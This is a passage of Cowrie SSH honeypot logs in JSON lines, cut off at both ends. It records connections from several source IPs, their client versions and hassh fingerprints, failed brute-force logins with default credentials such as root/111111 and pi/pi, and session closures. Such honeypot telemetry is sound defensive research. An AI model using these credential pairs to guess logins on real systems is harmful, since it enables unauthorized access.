sa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:00.199265Z","src_ip":"193.151.144.93","session":"3175f9af5b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:00.801705Z","src_ip":"193.151.144.93","session":"3175f9af5b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:01.977025Z","src_ip":"193.151.144.93","session":"3175f9af5b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":57530,"dst_ip":"159.203.135.109","dst_port":22,"session":"09cb5ab196c7","protocol":"ssh","message":"New connection: 2.57.121.112:57530 (159.203.135.109:22) [session: 09cb5ab196c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:02.373891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:02.395101Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:02.493977Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050572","message":"login attempt [admin/050572] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:02.930486Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050490","message":"login attempt [admin/050490] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:04.035836Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050483","message":"login attempt [admin/050483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:05.143326Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44264,"dst_ip":"10.17.0.5","dst_port":22,"session":"1362ad3c92a2","protocol":"ssh","message":"New connection: 193.151.144.93:44264 (10.17.0.5:22) [session: 1362ad3c92a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:05.743999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:05.749703Z","src_ip":"193.151.144.93","session":"1362ad3c92a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:05.915896Z","src_ip":"193.151.144.93","session":"1362ad3c92a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031975","message":"login attempt [admin/05031975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:06.249363Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:06.515748Z","src_ip":"193.151.144.93","session":"1362ad3c92a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05031971","message":"login attempt [admin/05031971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:07.354969Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:08.121773Z","src_ip":"193.151.144.93","session":"1362ad3c92a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:08.464100Z","src_ip":"2.57.121.112","session":"09cb5ab196c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35630,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8f759f1289","protocol":"ssh","message":"New connection: 103.176.20.57:35630 (159.203.135.109:22) [session: 5f8f759f1289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:09.149712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:09.156487Z","src_ip":"103.176.20.57","session":"5f8f759f1289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:09.407340Z","src_ip":"103.176.20.57","session":"5f8f759f1289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfyxtcnth","message":"login attempt [root/vfyxtcnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:10.161788Z","src_ip":"103.176.20.57","session":"5f8f759f1289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39460,"dst_ip":"10.17.0.5","dst_port":22,"session":"e65bd74301b2","protocol":"ssh","message":"New connection: 193.151.144.93:39460 (10.17.0.5:22) [session: e65bd74301b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:11.347437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:11.352587Z","src_ip":"193.151.144.93","session":"e65bd74301b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:11.419407Z","src_ip":"103.176.20.57","session":"5f8f759f1289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:11.556021Z","src_ip":"193.151.144.93","session":"e65bd74301b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:12.155207Z","src_ip":"193.151.144.93","session":"e65bd74301b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:13.336383Z","src_ip":"193.151.144.93","session":"e65bd74301b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":39470,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ff70a090f4","protocol":"ssh","message":"New connection: 193.151.144.93:39470 (10.17.0.5:22) [session: 06ff70a090f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:17.095221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:17.171961Z","src_ip":"193.151.144.93","session":"06ff70a090f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:17.266629Z","src_ip":"193.151.144.93","session":"06ff70a090f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:17.926479Z","src_ip":"193.151.144.93","session":"06ff70a090f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:19.518440Z","src_ip":"193.151.144.93","session":"06ff70a090f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34750,"dst_ip":"10.17.0.5","dst_port":22,"session":"feaae6163e1c","protocol":"ssh","message":"New connection: 193.151.144.93:34750 (10.17.0.5:22) [session: feaae6163e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:22.879202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:22.884639Z","src_ip":"193.151.144.93","session":"feaae6163e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:23.050451Z","src_ip":"193.151.144.93","session":"feaae6163e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":35826,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae840026125","protocol":"ssh","message":"New connection: 43.242.203.160:35826 (159.203.135.109:22) [session: 5ae840026125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:23.332503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:23.340623Z","src_ip":"43.242.203.160","session":"5ae840026125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:23.548968Z","src_ip":"193.151.144.93","session":"feaae6163e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:23.594059Z","src_ip":"43.242.203.160","session":"5ae840026125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"ts3","message":"login attempt [teamspeak/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:24.633644Z","src_ip":"43.242.203.160","session":"5ae840026125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:24.717033Z","src_ip":"193.151.144.93","session":"feaae6163e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:25.873003Z","src_ip":"43.242.203.160","session":"5ae840026125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34760,"dst_ip":"10.17.0.5","dst_port":22,"session":"babf26157231","protocol":"ssh","message":"New connection: 193.151.144.93:34760 (10.17.0.5:22) [session: babf26157231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:28.345404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:16:28.351209Z","src_ip":"193.151.144.93","session":"babf26157231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 